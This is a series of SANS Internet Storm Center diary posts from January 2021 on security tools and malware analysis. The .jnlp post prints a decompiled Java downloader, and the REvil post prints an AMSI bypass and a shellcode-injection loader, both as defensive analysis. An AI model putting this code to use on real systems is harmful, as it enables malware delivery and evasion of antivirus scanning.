Published: 2021-01-31

YARA v4.0.4

YARA version 4.0.4 was released (right after version 4.0.3).

These are bugfix versions for bugs in the dotnet and macho modules.

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com


Published: 2021-01-31

Wireshark 3.4.3 Released

Wireshark version 3.4.3 was released.

For Windows users, Npcap 1.10 replaces version 1.00.


It has vulnerability and bug fixes, like a USB HID dissector crash & memory leak.


Didier Stevens

Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com


Published: 2021-01-30

PacketSifter as Network Parsing and Telemetry Tool

I saw PacketSifter[1], a new package on Github and figure I would give it a try to test its functionality. It is described as "PacketSifter is a tool/script that is designed to aid analysts in sifting through a packet capture (pcap) to find noteworthy traffic. Packetsifter accepts a pcap as an argument and outputs several files." It is less than a month old, initial release 31 Dec 2020 and last update 22 days ago.

What I found interesting about this tool is the fact that is uses various tshark filters to parse the information into various types of statistics (conversations & endpoints) such as IP, TCP, HTTP presenting the data in a way that can easily understood and easily search the data using various regex tools. I use Elasticsearch to collect, parse and analyze my logs but I also see PacketSifte as an alternative to quickly summarize packet data.

The result of the dns.pcap was a list of malformed DNS packets and the http.pcap was all the web traffic saved into a single file.

One of the requirements for this tool is you need to have tshark installed. My test was done with the latest version of CentOS 7.

Download the Tool from Github which also contains the VirusTotal Setup File. Ensure the system meets the following requirements:

  • Tshark[2] installed
  • VirusTotal[4] API key
  • curl (to make web requests) and jq

$ git clone https://github.com/packetsifter/packetsifterTool.git
$ cd packetsifterTool
$ chmod 555 packetsifter.sh
$ sh VTInitial.sh

Note: This file only contains web and DNS traffic

$./packetsifter.sh ../honeypot-2021-Jan-29-19-25-42.pcap

  • Would you like to resolve host names observed in pcap? This may take a long time depending on the pcap!!

<<Warning>> This can result in DNS queries for attacker infrastructure. Proceed with caution!!
(Please supply Y for yes or N for no) N

http.pcap contains all conversations containing port 80,8080,8000
Running as user "root" and group "root". This could be dangerous.

  • Would you like to export HTTP objects? The objects will be outputted to a tarball in the current directory titled: httpObjects.tar.gz

<<Warning>> There could be a lot of HTTP objects and you can potentially extract malicious http objects depending on the pcap. Use with caution!!
(Please supply Y for yes or N for no) Y

  • Would you like to lookup exported HTTP objects using VirusTotal?

**Warning** You must have ran the VTinitial.sh script to initialize PacketSifter with your VirusTotal API Key.
(Please supply Y for yes or N for no) Y

################# SMB SIFTING #################

Stats on commands ran using smb or smb2 has been generated and is available in: SMBstatistics.txt

No SMB traffic found. Deleting arbitrary SMBstatistics.txt
smb.pcap contains all conversations categorized by tshark dissectors as NBSS, SMB, or SMB2
Running as user "root" and group "root". This could be dangerous.

No SMB traffic found. Deleting arbitrary smb.pcap.

  • Would you like to export SMB objects? The objects will be outputted to a tarball in the current directory titled: smbObjects.tar.gz

<<Warning>> There could be a lot of SMB objects and you can potentially extract malicious SMB objects depending on the pcap. Use with caution!!
(Please supply Y for yes or N for no) N

################# DNS SIFTING #################

dns.pcap contains all conversations categorized by tshark dissectors as DNS
Running as user "root" and group "root". This could be dangerous.

DNS A query/responses have been outputted to dnsARecords.txt
No DNS A records found. Deleting arbitrary dnsARecords.txt

DNS TXT query/responses have been outputted to dnsTXTRecords.txt. DNS TXT records can be used for nefarious reasons and should be glanced over for any abnormalities.
No DNS TXT records found. Deleting arbitrary dnsTXTRecords.txt

################# FTP SIFTING #################
ftp.pcap contains all conversations categorized by tshark dissectors as FTP
Running as user "root" and group "root". This could be dangerous.
No FTP traffic found. Deleting arbitrary ftp.pcap

Packet sifting complete! Thanks for using the tool.

After the tool completed its analysis, a total of 7 files are generated by the script: 2 pcap and 5 text

[guy@moonbase packetsifterTool]$ ls -1 *.txt && ls -1 *.pcap

  • errors.txt
  • http_info.txt
  • IOstatistics.txt
  • IPstatistics.txt
  • TCPstatistics.txt
  • dns.pcap
  • http.pcap

The script is using tshark to provide various statistics such as:

  • HTTP/Packet Counter

  • HTTP/Requests
  • HTTP/Load Distribution

  • HTTP Responses by Server Address
  • TCP Endpoint Statistics
  • IP Endpoint Statistics

It extract all the web object into this file: httpObjects.tar.gz
$ tar zxvf httpObjects.tar.gz
$ cd httpObjects

This script is fast going through the pcap file, however, there is a warning for "Would you like to resolve host names observed in pcap?". The first time I said yes and that basically stopped the script while it was trying to resolve hostnames and eventually cancelled the script and re-ran without it.

Overall, this script is easy to use and another tool that can easily be used for analysis of pcap traffic for web, DNS and SMB objects which I didn't have in this file.

Happy hunting!

[1] https://github.com/packetsifter/packetsifterTool.git
[2] https://www.wireshark.org
[3] https://tshark.dev/setup/install/
[4] https://www.virustotal.com/gui//
[5] https://www.elastic.co

Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu


Published: 2021-01-29

Sensitive Data Shared with Cloud Services

Yesterday was the data protection day in Europe[1]. I was not on duty so I’m writing this quick diary a bit late. Back in 2020, the Nitro PDF service suffered from a data breach that impacted many companies around the world. This popular service allows you to create, edit and sign PDF documents. A few days ago, the database leak was released in the wild[2]:  14GB compressed, 77M credentials.

I had this opportunity to have a look at the data and it provides really interesting information. The archive contains dumps of SQL tables from a relational database. We have a file with the users' data. The classic email addresses and passwords (hopefully hashed) are present but also a user ID. A second file is the dump of a SQL table containing information about documents processed with Nitro PDF. Because it’s a relational database, we can use the user's ID to find who worked on which document(s) and when (because timestamps are also present). The information you have about documents is the title and a thumbnail reference (but not available hopefully). Example:

114193114       2013-10-28 21:46:21.765 2013-10-28 21:46:22.62  f       5430610411990818132     f       nitrocloud-prod|437b88f9-3f81-4952-9ec4-
97d8524a890e    Concept Note    \N      f       f       \N      114193118       \N

"114193114" is the user ID, "Concept Note" is the document title.

I did some correlation searches for my customers and I was able to match which user was working on a specific document at a specific time.

From a broader point of view, can we guess the type of data that was exchanged via this cloud service? I extracted all the document titles, performed some cleanup, and extracted a word list to generate this word cloud:

As you can see, many words look "juicy" and are directly related to business activities! By linking document titles with email addresses we learn about potential victims who could be interesting targets for social engineering or phishing attacks! 

Always be aware that cloud services store a lot of information that you don't really want to see out of your perimeter!

[1] https://www.coe.int/en/web/portal/28-january-data-protection-day
[2] https://www.bleepingcomputer.com/news/security/hacker-leaks-full-database-of-77-million-nitro-pdf-user-records/

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant


Published: 2021-01-28

Emotet vs. Windows Attack Surface Reduction

Emotet malware in the form of malicious Word documents continued to make the rounds over the past weeks, and the samples initially often had pretty poor anti-virus coverage (Virustotal) .The encoding used by the maldoc is very similar to what Didier Stevens analyzed in his recent diary, and the same method can be used to extract the mal-code from the current Emotet docs.

With the de-obfuscation reasonably straight forward, I proceeded to look into how the malware crooks accomplish execution from within the Word doc, and in particular, why Microsoft's "Attack Surface Reduction Rules" do not seem to help much.

But first, let's take a quick detour into what Attack Surface Reduction (ASR) promises to do on modern Windows devices. ASR is a somewhat clunky set of additional protections in Microsoft Defender Antivirus that can be turned on to log or intercept (block) some common attack scenarios. Microsoft's web site offers meager documentation, including a marginally helpful list of GUIDs that can be used to activate the feature.

One rule, "Block all Office Applications from creating child processes" (GUID D4F940AB-401B-4EFC-AADC-AD5F3C50688A) is supposed to prevent a Word document from launching any other task. Therefore, when this rule is configured, we would expect that the current Emotet and its execution chain of Word-Doc -> cmd.exe -> Powershell should not be successful. But it is.

Closer inspection of the Defender Event Log gives a hint "why": 

The only ASR rule that we see firing when the Emotet Doc is being opened is the one with ID d1e49aac-8f56-4280-b9ba-993a6d77406c, corresponding to "Block process creations originating from PSExec and WMI commands". Yes, the Emotet VBA Macro is using a WMI (windows management instrumentation) call to launch the subsequent attack code. For such WMI invocation via the Win32 Process class, the parent process of "cmd" ends up being WmiPrvSe.exe, which in turn is launched from "svchost". Therefore, "cmd" is not a child process of Word, and the ASR block rule to prevent child processes of Word consequently doesn't trigger. Bah!

In corporate environments, remote management of user devices often uses tools like SCCM or Endpoint Manager, which in turn rely on WMI to function. Therefore, setting the ASR Rule for WMI/PSExec to "block" will likely break device management, and cause a huge mess. Chances are, the Emotet crooks were fully aware of this, and that's exactly why they chose this particular execution method for their attack code.

If you have Microsoft ATP, you can also use a hunting rule like this to search for WMI process creation

| where ActionType == "ProcessCreatedUsingWmiQuery"
| project Timestamp, DeviceName, ActionType, FileName, SHA1, FolderPath, InitiatingProcessCommandLine, ProcessCommandLine
| sort by Timestamp desc

You might have to add a couple of exclusions to cover your management instrumentation or software distribution tools, but with a bit of tuning, you should see any current Emotet-like WMI attempts in your environment. The ProcessCommandLine in these cases will be long (>600chars) and contain Base64 encoded Powershell, and the InitiatingProcess is Winword.

In the meantime, the probably best bet to protect your Windows users against Emotet and similar malware remains to quarantine password protected zips or Office documents with macros on your email gateway, or to disable macros within Office outright if you can get away with it.

Maybe, in a decade or three, Microsoft will get to the point where malware introduced via Office documents really no longer is a concern and prevalent problem. Until then, I guess we have to kinda hope that today's international raid by law enforcement against the Emotet gang really got the right guys, and got them good.


Published: 2021-01-27

TriOp - tool for gathering (not just) security-related data from Shodan.io (tool drop)

If you’re a regular reader of our Diaries, you may remember that over the last year and a half, a not insignificant portion of my posts has been devoted to discussing some of the trends in internet-connected systems. We looked at changes in the number of internet-facing machines affected by BlueKeep[1], SMBGhost[2], Shitrix[3] and several other vulnerabilities [4] as well as at the changes in TLS 1.3 support over time[5] and several other areas [6,7].  Today, we’re going to take a look at the tool, that I’ve used to gather data, on which the Diaries were based, from Shodan.io.

In keeping with the Shodan theme, I’ve called the tool TriOp. It is a Python script, which enables you to quickly build a list (or multiple lists) of Shodan search terms and then repeatedly (e.g. once every day) get the count of public IPs, which satisfy each of them, from the Shodan API.

The basic use of the tool is quite straightforward – in addition to creating a Shodan account and getting its API key, one only needs to create a list of Shodan queries one wishes to monitor over time, input this list into TriOp (as a CSV file where the first row specifies the queries or through a command line as a comma-separated list) and the tool will do the rest. It can output the results of the queries to command line, but its more useful feature is the option to save the results in a CSV, which can later be used as an input for TriOp.


The basic search can be done using the -s/--search option in the following way:

triop.py -s "port:80,port:443"

In such a case, the output might look like this:

TriOp 1.0
Current IP count for query port:80 is 72010982
Current IP count for query port:443 is 59072465

Where things get interesting is the output to a file using the -O/--output_file option:

triop.py -s "port:80,port:443" -O http_ports.csv

The resultant CSV file would have the following structure:

port:80, 72036704
port:443, 59145503

You can probably see why using the same file as input on another day might be useful. If one were to use this file as an input today using the -S/--search_file option and add the -a/--append option, TriOp would add another row to the file with today’s date.

triop.py -S http_ports.csv -a

The updated CSV file would then look like this:


If one wanted to monitor the situation on a day to day basis, one would only need to run the same command each day (preferably using some automatic scheduling mechanism).

Although gathering data about the number of public IPs with different ports open to the internet may be interesting, as it gives us some idea about how the global network changes over time[8], we are certainly not limited to just the “ports:” filter.

Since TriOp only gets a "count" for each of the queries and not the related list of IP addresses, which satisfy the queries, one may use any combination of Shodan search filters with it (even those, which are normally accessible only to enterprise or researches-level accounts), even with a free account.

This means that one may use TriOp to monitor the changes in different open ports in specific IP ranges (filter “net:”), ASNs (filter “asn:”) or countries (filter “country:”), but also to monitor changes in the number of IPs affected by specific vulnerabilities (filter “vuln:”), systems with specific JARM[9] fingerprints (filter “ssl.jarm:”), etc.

Since we’ve mentioned vulnerabilities, if this is area that interests you, you may also use TriOp as a high-level “passive” vulnerability scanner. Shodan itself detects machines affected by some vulnerabilities – currently it seems to be able to identify about 2246 of the approximately 190k CVEs published so far, according to the results of my tests[10] – and nothing is stopping us from getting the “count” for these. List of the CVEs “supported” by Shodan, which I’ve been able to identify, are included in TriOp and one may search for them simply using any query in combination with the --vuln_search_level option:

triop.py -s "country:US" --vuln_search_level 3

The previous command would result in a very long output giving us the number of public IPs in the US, on which systems vulnerable to specific CVEs might be found:

TriOp 1.0
Checking whether Shodan detects any vulnerabilities for search country:US.
Current IP count for query country:US has_vuln:true is 10398899
Current IP count for query country:US is 160792718
Current IP count for query country:US vuln:CVE-1999-0045 is 1

The tool has additional features as well (adding new queries to existing search files, exporting data related to similar searches from multiple search files, etc.) and you may find some of them demonstrated in the tutorial video bellow.

The one last feature I will mention here is the ability to load multiple input files based on a specified “mask”. I’ve originally created TriOp with the intention to monitor changes in the number of vulnerable systems, ports and services both globally as well as in different countries and I’ve created over a hundred different search files by now (one per each country I was interested in as well, several for different sets of vulnerabilities, etc.). In order for me to be able to “update” each of them on a daily basis, TriOp supports the --filename_load option, which enables one to specify a string, which is then used to select files which should be used as inputs. If one were to use the following mask for example, all CSV files in the current folder would be used as inputs and consequently updated.

triop.py --filename_load .csv -a

As you may see, although TriOp is a fairly simple tool, which only gathers “counts” for each of the submitted queries, its outputs can be quite useful. This goes especially for any (national) CSIRT, which wants to monitor public IPs of its constituency, but lacks a capability to scan it on a daily basis, or for any security researcher who wants to, for example, compare the number of devices affected by specific vulnerabilities in different countries.

In any case, if you’d like to try TriOp yourself, you may download it from my GitHub page.

[1] https://isc.sans.edu/diary/25506
[2] https://isc.sans.edu/diary/26732
[3] https://isc.sans.edu/diary/26900
[4] https://isc.sans.edu/diary/26798
[5] https://isc.sans.edu/diary/26936
[6] https://isc.sans.edu/diary/25854
[7] https://isc.sans.edu/diary/26374
[8] https://untrustednetwork.net/en/2021/01/01/open-ports-statistics-for-2020/
[9] https://engineering.salesforce.com/easily-identify-malicious-servers-on-the-internet-with-jarm-e095edac525a
[10] https://untrustednetwork.net/en/2020/11/18/most-common-vulnerabilities-based-on-shodan/

Jan Kopriva
Alef Nula


Published: 2021-01-26

TA551 (Shathak) Word docs push Qakbot (Qbot)


Late last week, we saw new samples of Word documents from TA551 (Shathak) pushing malware.  This actor was active up through 2020-12-18 pushing IcedID malware before going on break for the holidays.  Now that it's returned, TA551 has been pushing Qakbot (Qbot) malware instead of IcedID.

Shown above: flow chart for recent TA551 (Shathak) activity so far in January 2021.

Images from the infection

See below for images associated with the infection in my lab environment.

Shown above:  Screenshot of the TA551 (Shathak) Word document with macros for Qakbot (Qbot).

Shown above:  Regsvr32 pop up message when the malware DLL to install Qakbot has successuflly run.

Shown above:  Start of TCP stream showing the HTTP request and response for the initial DLL to install Qakbot (Qbot).

Shown above:  Traffic from the infection filtered in Wireshark (part 1).

Shown above:  Traffic from the infection filtered in Wireshark (part 2).

Shown above:  Traffic from the infection filtered in Wireshark (part 3).

Shown above:  One of the emails exported from the pcap (a copy is available here).


This month, the affiliate or campaign identification string for Qakbot malware distributed through TA551 has been krk01.  When my krk01 Qakbot-infected host started spamming more Qakbot, the affiliate/campaign ID for Qakbot samples caused by this malspam was abc120.

Because of this and its previous history pushing different families of malware, I believe TA551 (Shathak) is a distributor for other criminals in our cyber threat landscape.  The other criminals push malware (like the criminals behind Qakbot), while TA551 is specifically a distribution network.

Indicators of Compromise (IOCs)

SHA256 hash: 17cd3c11fba639c1fe987a79a1b998afe741636ac607254cc134eea02c63f658

  • File size: 76,663 bytes
  • File name: particulars-01.26.21.doc
  • File description: TA551 (Shathak) Word doc with macros for Qakbot (Qbot)

SHA256 hash: 231b081480a80b05d69ed1d2e18ada8a1fd85ba6ce3e69cc8f630ede5ce5400e

  • File size: 888,832 bytes
  • File location: hxxp://5that6[.]com//assets/55ddb775/ce51025b12/9b75bbce/8a06fd47/6ac84e7424b0539286562b/xtuaq14?anz=125c5909&dlzwg=7aec167a5a2ab0&bu=a09f740
  • File location: C:\ProgramData\aZe4I.tmp
  • File description: Windows malware DLL retrieved by Word macro, used to install Qakbot (Qbot) affliate/campaign ID krk01
  • Run method:  regsvr32.exe [filename]

Final words

A pcap of the infection traffic and and malware from the infected Windows host can be found here.

Brad Duncan
brad [at] malware-traffic-analysis.net


Published: 2021-01-25

Fun with NMAP NSE Scripts and DOH (DNS over HTTPS)

DOH (DNS over HTTPS) has been implemented into the various browsers over the last year or so, and there's a fair amount of support for it on public DNS services.  Because it's encrypted and over TCP, the mantra of "because privacy" has carried the day it looks like.  But why do network and system admins hate it so?

First of all, any name resolution that goes outside the organization, especially if it's encrypted, can't be easily logged.  I get that this is the entire point, but there are several attacks that can be prevented with simple DNS monitoring and sink-holing (blocking known malicious domains), and several attacks that can be mounted using just DNS (delivering malware via DNS TXT records for instance).   

What about DNS Tunneling you ask?  DNS tunnelling over DOH seems like a bit of a silly exercise - unless you're decrypting at your perimeter, DNS tunnelling over DOH is just going to look like HTTPS - you might as well just use HTTPS.

Why do privacy advocates tend to lose this debate at work?

For starters, the expecation of 100% privacy, but then the desire to hold IT and Security folks accountable for any breach or security incident, while you've got their hands tied doesn't hold water.  Especially for decryption, most organizations have broad exceptions by category - for instance, most organizations will not decrypt or inspect banking or financial information, interaction with government sites (taxes and so on), or healthcare sites of any kind.  Believe me, we don't want your banking password any more than we want your AD password!  So out of the gate, both the written and technical policies around decryption for most organizations focus on the individual's privacy, the goal is normally to protect against malware and attacks, HR violations (adult sites for instance), and illegal activity that could put the organization in jeopardy.

Also, the phrase "epxectation of privacy" is key here.  If you are at work, you don't usually have that - you're using the organizations systems and resources, and going about the business of the organization, and you've likely signed an Acceptable Use Policy (or something that covers that same ground) to that effect.  This protects you in that it defines what monitoring the company has, and protects the company in case any of it's employees do anything illegal while at work.  Note that I am not a Lawyer, nor do I play one on TV .. but I have been involved in more than a few "illegal stuff at work" cases over the years (thankfully not as a direct participant) - this stuff is important for both the company and the individuals!

So, with all the politics done, what does a DOH request look like?  The simple approach is to use the dns-json method, as outlined below - it'll save you base64 encoding the requests.  Let's start with a raw request in curl, then refine it a bit:

json formatted data:

curl -s -H 'accept: application/dns-json' ''

Looks pretty straightforward - very much like any API that you might be used to.  DOH is an HTTPS request like any other, but with a specific user-agent string and a specific path on the target server (dns-query).  This raw output is great if you're a python script, but let's fix up the formatting a bit so it's a bit more "human readable"

curl -s -H 'accept: application/dns-json' '' | jq
  "Status": 0,
  "TC": false,
  "RD": true,
  "RA": true,
  "AD": false,
  "CD": false,
  "Question": [
      "name": "www.cisco.com",
      "type": 28
  "Answer": [
      "name": "www.cisco.com",
      "type": 5,
      "TTL": 3597,
      "data": "www.cisco.com.akadns.net."
      "name": "www.cisco.com.akadns.net",
      "type": 5,
      "TTL": 297,
      "data": "wwwds.cisco.com.edgekey.net."
      "name": "wwwds.cisco.com.edgekey.net",
      "type": 5,
      "TTL": 21597,
      "data": "wwwds.cisco.com.edgekey.net.globalredir.akadns.net."
      "name": "wwwds.cisco.com.edgekey.net.globalredir.akadns.net",
      "type": 5,
      "TTL": 3597,
      "data": "e2867.dsca.akamaiedge.net."
      "name": "e2867.dsca.akamaiedge.net",
      "type": 28,
      "TTL": 17,
      "data": "2600:1408:5c00:388::b33"
      "name": "e2867.dsca.akamaiedge.net",
      "type": 28,
      "TTL": 17,
      "data": "2600:1408:5c00:3bc::b33"

now with just the data values parsed out:

curl -s -H 'accept: application/dns-json' '' | jq | grep data | tr -s " " | cut -d " " -f 3 | tr -d \"


This is all well and good for a shell script, but if you need to test more servers, what other tools can you use?  With the emphasis on script and multiple, I wrote a short NSE script for NMAP that will make arbitrary DOH requests:

First of all, the syntax is:

nmap -p433 <target> --script=dns-doh <DNS server> --script-args query=<query type>,target=<DNS lookup value>

>nmap -p 443 --script=dns-doh --script-args query=A,target=isc.sans.edu

Starting Nmap 7.80 ( https://nmap.org ) at 2021-01-25 12:04 Eastern Standard Time

Nmap scan report for one.one.one.one (

Host is up (0.027s latency).



443/tcp open  https

| dns-doh:

|   Answer:


|       type: 1

|       name: isc.sans.edu

|       TTL: 7

|       data:


|       type: 1

|       name: isc.sans.edu

|       TTL: 7

|       data:

|   AD: false

|   Status: 0

|   RA: true

|   Question:


|       type: 1

|       name: isc.sans.edu
|   CD: false
|   RD: true
|_  TC: false

Nmap done: 1 IP address (1 host up) scanned in 9.08 seconds

Looking at the code (comments are in-line), after all the setup and syntax checking, this is essentially a 3 line script:

local nmap = require "nmap"

local shortport = require "shortport"

local http = require "http"

local stdnse = require "stdnse"

local string = require "string"

local table = require "table"

local json = require "json"

local strbuf = require "strbuf"


description = [[

Performs a DOH lookup against the target site

variables: t = <target of dns query>

           q = <dns query type>



-- @usage

-- nmap <target> --script=doh <DNS server> --script-args query=<query type>,target=<DNS lookup value>


-- @output

-- 443/tcp open   https

-- | results of query



author = {"Rob VandenBrink","rob@coherentsecurity.com"}

license = "Creative Commons https://creativecommons.org/licenses/by-nc-sa/4.0/"

categories = { "discovery" }

portrule = shortport.http

action = function(host,port)

     -- collect the command line arguments

     local query = stdnse.get_script_args('query')

     local target = stdnse.get_script_args('target')

     -- input checking - check that both arg values are present and non-zero

     if(query==nil or query == '') then

         return "DNS query operation is not defined (A,AAAA,MX,PTR,TXT etc)"


     if(target==nil or target=='') then

         return "DNS target is not defined (host, domain, IP address etc)"


     -- construct the query string, the path in the DOH HTTPS GET

     local qstring = '/dns-query?name='..target..'&type='..query

     -- define the header value (which defines the output type)

     local options = {header={}}

     options['header']['accept'] = 'application/dns-json'

     -- Get some DOH answers!

     local response = http.get(host.ip, port.number, qstring, options)

     -- convert results to JSON for more legible output

     local stat, resp =json.parse(response.body)

     return resp



The dns-doh.nse script is available and is maintained at: https://github.com/robvandenbrink/dns-doh.nse

If you find any issues with this code, by all means use our comment section to report them, or ping me via git

Rob VandenBrink


Published: 2021-01-24

Video: Doc & RTF Malicious Document

I made a video for my diary entry "Doc & RTF Malicious Document". And I show a new feature of my tool re-search.py, that helps with filtering URLs found in OOXML files.

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com


Published: 2021-01-23

CyberChef: Analyzing OOXML Files for URLs

In diary entry "Doc & RTF Malicious Document" I start analyzing a malicious Word document with my tools.

That Word document, an Office Open XML file (OOXML, .docx), is a ZIP container with XML files. I show how to extract URLs from this document.

CyberChef can also process ZIP files: I made a CyberChef recipe to extract URLs from OOXML files.

This is how it looks:

You can use it for any .docx, .docm, .xlsx, ... file (OOXML file) to see if it contains URLs.

And if you want to understand how I use CyberChef to create this recipe, take a look at this video:

Didier Stevens

Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com


Published: 2021-01-22

Another File Extension to Block in your MTA: .jnlp

When hunting, one thing that I like to learn is how attackers can be imaginative at deploying new techniques. I spotted some emails that had suspicious attachments based on the ‘.jnlp’ extension. I’m pretty sure that many people don’t know what’s their purpose and, if you don’t know them, you don’t have a look at them on your logs, SIEM, ... That makes them a good candidate to deliver malicious code!

Basically, a JNLP file[1] is... an XML file! It is created in the “Java Network Launching Protocol”. It contains all the required information to execute a Java program. Usually, it contains the address where to download the malicious applet and the initial class to run.

I did a quick analysis of one of the captured JNLP files:

<?xml version="1.0" encoding="utf-8"?> 
  <jnlp spec="1.0+" codebase="hxxp://secured-doc-read[.]net" href="delivery.jnlp">
    <title>Secure Document Reader</title> 
    <homepage href="wwww.microsoft.com"/> 
    <description>Microsoft Secure Document Reader v.4.016</description> 
    <j2se version="1.6+" /> 
    <jar href="delivery.jar" />
  <application-desc main-class="Secure_Document_Reader"> 

The syntax is easy to understand. The payload will be called ‘delivery.jar’ (line 14) and downloaded from secured-doc-read[.].net (line 2). The main class is "Secure_Document_Reader" (line 16).

I decompiled the Jar file (SHA256:a4d95b7d196a4aca87cec384c5d21a756ab75cfaee7f4a20163d02109956a6dd)[2] and was surprised to find a very simple code. Often malicious Java applets implement a RAT but here we faced the simple code of a downloader:

public class Secure_Document_Reader
  static BufferedInputStream frisco415;
  static FileOutputStream friekiegee;
  static String linkage9;

  public static void main(final String[] array) {

  public static void frisco415(final String spec) {
    final File file = new File(Secure_Document_Reader.linkage9);
    try {
      Secure_Document_Reader.frisco415 = new BufferedInputStream(new URL(spec).openStream());
      Secure_Document_Reader.friekiegee = new FileOutputStream(Secure_Document_Reader.linkage9);
      final byte[] array = new byte[1024];
      int read;
      while ((read = Secure_Document_Reader.frisco415.read(array, 0, 1024)) != -1) {
        Secure_Document_Reader.friekiegee.write(array, 0, read);
    catch (Exception ex) {}
    try {
    catch (Exception ex2) {}

  static {
    Secure_Document_Reader.frisco415 = null;
    Secure_Document_Reader.friekiegee = null;
    Secure_Document_Reader.linkage9 = "C:\\ProgramData\\videodrv.exe";

The next stage is download from hxxp://sec-doc-v[.]com/images/dsc0386234.jpg and dropped on disk as 'videodrx.exe". The PE file (SHA256:ceaf771da5e2678ed0d5844282bf0d464207c23842a8e36be3e7ab1df022ef89) has a VT score of 14/59[3].

The usage of .jnlp files is a great way to bypass the first line of defenses (mail filters) because .jnlp files are text files and do not contain any executable code. Note that Java must be installed on the victim's computer to handle .jnlp files.

[1] https://fileinfo.com/extension/jnlp
[2] https://www.virustotal.com/gui/file/a4d95b7d196a4aca87cec384c5d21a756ab75cfaee7f4a20163d02109956a6dd/detection
[3] https://www.virustotal.com/gui/file/ceaf771da5e2678ed0d5844282bf0d464207c23842a8e36be3e7ab1df022ef89/detection

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant


Published: 2021-01-21

Powershell Dropping a REvil Ransomware

I spotted a piece of Powershell code that deserved some investigations because it makes use of RunSpaces[1]. The file (SHA256:e1e19d637e6744fedb76a9008952e01ee6dabaecbc6ad2701dfac6aab149cecf) has a very low VT score: only 1/59![2].

The technique behind RunSpaces is helpful to create new threads on the existing Powershell process, and you can simply add what you need to it and send it off running. Here is an example of Runspace created by the malicious script:

$wabyynegzji = [runspacefactory]::CreateRunspace()
$wabyynegzji.ApartmentState = "STA"
$wabyynegzji.ThreadOptions = "ReuseThread"
$vkzggaes = [PowerShell]::Create()
$vkzggaes.Runspace = $wabyynegzji
$vkzggaes.AddScript($pqxsxzakx) | out-null
$vkzggaes.BeginInvoke() | out-null

The interesting line is the one which contains ‘AddScript’. It is used to attach the piece of Powershell code to be executed in the new threat. Here is the code (located in a separate Script Block):

[Scriptblock]$pqxsxzakx = {
    [ref].Assembly.GetType('System.Management.Automation.Amsi' + 'Utils').GetField( \
      'amsi'+'InitFailed', 'NonPublic,Static').SetValue($null, $true)

This is a classic bypass for logging and AV detection[3]. Then, a second RunSpace is started:

$mnibvakvi =[runspacefactory]::CreateRunspace()
$mnibvakvi.ApartmentState = "STA"
$mnibvakvi.ThreadOptions = "ReuseThread"
$mnibvakvi.SessionStateProxy.SetVariable("gbwqmnxwc", "L6jelvDCcKXK9A/+Lqto/5i9HtEK4jSsSdITqsGlgtQ=")
$slqcphetxifbl = [PowerShell]::Create()
$slqcphetxifbl.Runspace = $mnibvakvi
$slqcphetxifbl.AddScript($zupcppfvxbxgvwbivbq) | out-null
$slqcphetxifbl.BeginInvoke() | out-null

This block of code will decrypt and inject the payload in the current Powershell process. Note that you can pass variables to a RunSpace. In the example above, "gbwqmnxwc" contains the decryption key of the payload:

[Scriptblock]$zupcppfvxbxgvwbivbq = {
  function tyefcaneraxdmqsfh($gbwqmnxwc, $qpzspadssix, $iizcnwcbb) {
    $uuvqwwqjjkcolarhdeox=New-Object System.Security.Cryptography.AesCryptoServiceProvider;
    $uuvqwwqjjkcolarhdeox.Padding = "Zeros";
    $uuvqwwqjjkcolarhdeox.BlockSize = 128;
    $uuvqwwqjjkcolarhdeox.KeySize = 256;
    $uuvqwwqjjkcolarhdeox.IV = $qpzspadssix;
    $uuvqwwqjjkcolarhdeox.Key = $gbwqmnxwc;
    $trgkzwqbqqbuteoe=$lafcsowawwnwcm.TransformFinalBlock($iizcnwcbb, 0, $iizcnwcbb.Length);
    return [System.Text.Encoding]::UTF8.GetString($trgkzwqbqqbuteoe).Trim([char]0)

  $yweudaxvekawvopqdwdr = “___PAYLOAD_REMOVED___;
  $yweudaxvekawvopqdwdr = [System.Convert]::FromBase64String($yweudaxvekawvopqdwdr);
  $qpzspadssix = "+ViLpnC7vTHGHv6nVAcTXw==";
  $qpzspadssix = [System.Convert]::FromBase64String($qpzspadssix);
  $gbwqmnxwc = [System.Convert]::FromBase64String($gbwqmnxwc);
  $trgkzwqbqqbuteoe = tyefcaneraxdmqsfh $gbwqmnxwc $qpzspadssix $yweudaxvekawvopqdwdr;
  iex $trgkzwqbqqbuteoe;

The decrypted code is executed via Invoke-Expression("IEX"). Here is the interesting part of the code which loads the required API calls for performing the injection:

$VirtualAllocAddr = Get-ProcessAddr kernel32.dll ('Virt'+'ualA'+'lloc')
$VirtualAllocDelegate = Get-DelType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])
$VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, \
$VirtualFreeAddr = Get-ProcessAddr kernel32.dll ('Vi'+'rtualFr'+'ee')
$VirtualFreeDelegate = Get-DelType @([IntPtr], [Uint32], [UInt32]) ([Bool])
$VirtualFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeAddr, \
$CreateThreadAddr = Get-ProcessAddr kernel32.dll ("C"+"reat"+"eT"+"hre"+"ad")
$CreateThreadDelegate = Get-DelType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])
$CreateThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateThreadAddr, $CreateThreadDelegate)
$WaitForSingleObjectAddr = Get-ProcessAddr kernel32.dll ("Wa"+"it"+"ForSi"+"ngl"+"eObje"+"ct")
$WaitForSingleObjectDelegate = Get-DelType @([IntPtr], [Int32]) ([Int])
$WaitForSingleObject = \
  [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WaitForSingleObjectAddr, $WaitForSingleObjectDelegate)

The shellcode is injected and decoded:

$hex_str = “__PAYLOAD_REMOVED__”
$Shellcode = [byte[]] -split ($hex_str -replace '..', '0x$& ')
[IO.File]::WriteAllBytes("c:\shellcode.tmp", $Shellcode)
Invoke-Shcd $Shellcode

Let’s have a look at the shellcode now. It’s not starting at offset 0x0 but around 0x770:

